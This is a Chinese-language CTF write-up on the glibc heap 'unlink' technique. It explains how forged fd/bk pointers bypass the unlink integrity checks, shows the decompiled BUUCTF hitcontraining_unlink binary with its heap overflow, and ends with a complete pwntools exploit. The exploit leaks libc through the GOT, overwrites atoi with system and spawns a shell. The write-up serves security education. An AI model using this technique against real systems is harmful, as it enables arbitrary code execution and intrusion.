推迟了好久的unlink今天终于把它看了一下。下面是从CTFwiki上拿过来的unlink过程的图片,感觉已经很详细了。

Unlink_双向链表

附上unlink的源码

1 #define unlink(P, BK, FD)                                                     \
2 { \
3 BK = P->bk; \
4 FD = P->fd; \
5 FD->bk = BK; \
6 BK->fd = FD; \
7

简单地说就是

//首先根据p的fd和bk来获得双向链表下一个 chunk BK和上一个chunk FD 再设置FD->bk=BK 及 BK->fd=FD

以下是对unlink的检查

1 // 由于 P 已经在双向链表中,所以有两个地方记录其大小,所以检查一下其大小是否一致(size检查)
2 if (__builtin_expect (chunksize(P) != prev_size (next_chunk(P)), 0)) \
3 malloc_printerr ("corrupted size vs. prev_size"); \
4
5 //检查p和其前后的chunk是否构成双向链表)
6 if (__builtin_expect (FD->bk != P || BK->fd != P, 0)) \
7 malloc_printerr (check_action, "corrupted double-linked list", P, AV); \

我们要做的就是绕过对size和对链表完整性的检查。size的检查很好绕过,下面我讲一下怎么绕过对链表完整性的检查。

 假设bss段上有存储堆地址的空间,并且第一个堆地址(chunk0)被存放在heapbss=0x6020d0 处即*(0x6020d0)=chunk0,这里我们把chunk0记为p

此时我们可以伪造FD=p->fd=0x6020b8  BK=p->bk==0x6020c0

1if (__builtin_expect (FD->bk != P || BK->fd != P, 0))                       //FD->bk=*(0x6020d0)=p 且 BK->fd=*(0x6020d0)=p 成功绕过
2 malloc_printerr (check_action, "corrupted double-linked list", P, AV); \

那我们就会执行unlink操作使得FD->bk=BK 及 BK->fd=FD

那我们最终的结果就是向heapbss里写入了bss-0x18的值。从而使heapbss附近有可写地址,实现任意写。

下面拿一个例题BUUCTF hitcontraining_unlink

经典的菜单题

1 int __cdecl main(int argc, const char **argv, const char **envp)
2 {
3 void (**v4)(void); // [rsp+8h] [rbp-18h]
4 char buf[8]; // [rsp+10h] [rbp-10h] BYREF
5 unsigned __int64 v6; // [rsp+18h] [rbp-8h]
6
7 v6 = __readfsqword(0x28u);
8 setvbuf(stdout, 0LL, 2, 0LL);
9 setvbuf(stdin, 0LL, 2, 0LL);
10 v4 = (void (**)(void))malloc(0x10uLL);
11 *v4 = (void (*)(void))hello_message;
12 v4[1] = (void (*)(void))goodbye_message;
13 (*v4)();
14 while ( 1 )
15 {
16 menu();
17 read(0, buf, 8uLL);
18 switch ( atoi(buf) )
19 {
20 case 1:
21 show_item();
22 break;
23 case 2:
24 add_item();
25 break;
26 case 3:
27 change_item();
28 break;
29 case 4:
30 remove_item();
31 break;
32 case 5:
33 v4[1]();
34 exit(0);
35 default:
36 puts("invaild choice!!!");
37 break;
38 }
39 }
40

show函数

1 int show_item()
2 {
3 int i; // [rsp+Ch] [rbp-4h]
4
5 if ( !num )
6 return puts("No item in the box");
7 for ( i = 0; i <= 99; ++i )
8 {
9 if ( *(_QWORD *)&itemlist[4 * i + 2] )
10 printf("%d : %s", (unsigned int)i, *(const char **)&itemlist[4 * i + 2]);
11 }
12 return puts(byte_401089);
13

add函数

__int64 add_item()
{
int i; // [rsp+4h] [rbp-1Ch]
int v2; // [rsp+8h] [rbp-18h]
char buf[8]; // [rsp+10h] [rbp-10h] BYREF
unsigned __int64 v4; // [rsp+18h] [rbp-8h]

v4 = __readfsqword(0x28u);
if ( num > 99 )
{
puts("the box is full");
}
else
{
printf("Please enter the length of item name:");
read(0, buf, 8uLL);
v2 = atoi(buf);
if ( !v2 )
{
puts("invaild length");
return 0LL;
}
for ( i = 0; i <= 99; ++i )
{
if ( !*(_QWORD *)&itemlist[4 * i + 2] )
{
itemlist[4 * i] = v2;
*(_QWORD *)&itemlist[4 * i + 2] = malloc(v2);
printf("Please enter the name of item:");
*(_BYTE *)(*(_QWORD *)&itemlist[4 * i + 2] + (int)read(0, *(void **)&itemlist[4 * i + 2], v2)) = 0;
++num;
return 0LL;
}
}
}
return 0LL;
}

edit函数:这个函数存在堆溢出漏洞

1 unsigned __int64 change_item()
2 {
3 int v1; // [rsp+4h] [rbp-2Ch]
4 int v2; // [rsp+8h] [rbp-28h]
5 char buf[16]; // [rsp+10h] [rbp-20h] BYREF
6 char nptr[8]; // [rsp+20h] [rbp-10h] BYREF
7 unsigned __int64 v5; // [rsp+28h] [rbp-8h]
8
9 v5 = __readfsqword(0x28u);
10 if ( num )
11 {
12 printf("Please enter the index of item:");
13 read(0, buf, 8uLL);
14 v1 = atoi(buf);
15 if ( *(_QWORD *)&itemlist[4 * v1 + 2] )
16 {
17 printf("Please enter the length of item name:");
18 read(0, nptr, 8uLL);
19 v2 = atoi(nptr);
20 printf("Please enter the new name of the item:");
21 *(_BYTE *)(*(_QWORD *)&itemlist[4 * v1 + 2] + (int)read(0, *(void **)&itemlist[4 * v1 + 2], v2)) = 0;//这里并没有对长度进行检查
22 }
23 else
24 {
25 puts("invaild index");
26 }
27 }
28 else
29 {
30 puts("No item in the box");
31 }
32 return __readfsqword(0x28u) ^ v5;
33

delete函数

1 unsigned __int64 remove_item()
2 {
3 int v1; // [rsp+Ch] [rbp-14h]
4 char buf[8]; // [rsp+10h] [rbp-10h] BYREF
5 unsigned __int64 v3; // [rsp+18h] [rbp-8h]
6
7 v3 = __readfsqword(0x28u);
8 if ( num )
9 {
10 printf("Please enter the index of item:");
11 read(0, buf, 8uLL);
12 v1 = atoi(buf);
13 if ( *(_QWORD *)&itemlist[4 * v1 + 2] )
14 {
15 free(*(void **)&itemlist[4 * v1 + 2]);
16 *(_QWORD *)&itemlist[4 * v1 + 2] = 0LL;
17 itemlist[4 * v1] = 0;
18 puts("remove successful!!");
19 --num;
20 }
21 else
22 {
23 puts("invaild index");
24 }
25 }
26 else
27 {
28 puts("No item in the box");
29 }
30 return __readfsqword(0x28u) ^ v3;
31

下面直接贴上我的exp

1 from pwn import *
2 context.log_level='debug'
3 context.arch='amd64'
4
5 #s=remote('node4.buuoj.cn',28938)
6 s=process('./hitcontraining-unlink')
7 libc=ELF('./libc-2.23.so')
8
9 magic=0x400D49
10 puts_plt=0x4006E0
11 free_plt=0x4006D0
12
13 atoi_got=0x602068
14 free_got=0x602018
15
16 def show():
17 s.recvuntil(b'Your choice:')
18 s.sendline(b'1')
19
20 def add(length,name):
21 s.recvuntil(b'Your choice:')
22 s.sendline(b'2')
23 s.recvuntil(b'Please enter the length of item name:')
24 s.sendline(str(length))
25 s.recvuntil(b'Please enter the name of item:')
26 s.sendline(name)
27
28 def edit(index,length,name):
29 s.recvuntil(b'Your choice:')
30 s.sendline(b'3')
31 s.recvuntil(b'Please enter the index of item:')
32 s.sendline(str(index))
33 s.recvuntil(b'Please enter the length of item name:')
34 s.sendline(str(length))
35 s.recvuntil(b'Please enter the new name of the item:')
36 s.sendline(name)
37
38 def delete(index):
39 s.recvuntil(b'Your choice:')
40 s.sendline(b'4')
41 s.recvuntil(b'Please enter the index of item:')
42 s.sendline(str(index))
43
44 add(0x30,b'\x10'*4)#0
45 add(0xf0,b'\x11'*4)#1
46 add(0x100,b'\x12'*4)#2
47 add(0x100,b'\x13'*4)#3
48
49 fd=0x6020c8-0x18
50 bk=0x6020c8-0x10
51
52 payload=p64(0)+p64(0x31)+p64(fd)+p64(bk)+p64(0)+p64(0)+p64(0x30)+p64(0x100)
53 edit(0,0x50,payload)
54 delete(1)
55 gdb.attach(s)
56 payload=p64(0)+p64(0)
57 payload+=p64(0)+p64(atoi_got)
58 edit(0,0x30,payload)
59
60 show()
61 s.recvuntil(b'0 : ')
62 libc_base=u64(s.recv(6).ljust(8,b'\x00'))-libc.sym['atoi']
63 system_addr=libc_base+libc.sym['system']
64
65 payload=p64(system_addr)
66 edit(0,0x10,payload)
67
68
69 #gdb.attach(s)
70
71 s.sendlineafter(b'Your choice:',b'/bin/sh\x00')
72

 

参考链接:


CTFwiki  ​​https://ctf-wiki.org/pwn/linux/user-mode/heap/ptmalloc2/unlink/​

作者:{狒猩橙},​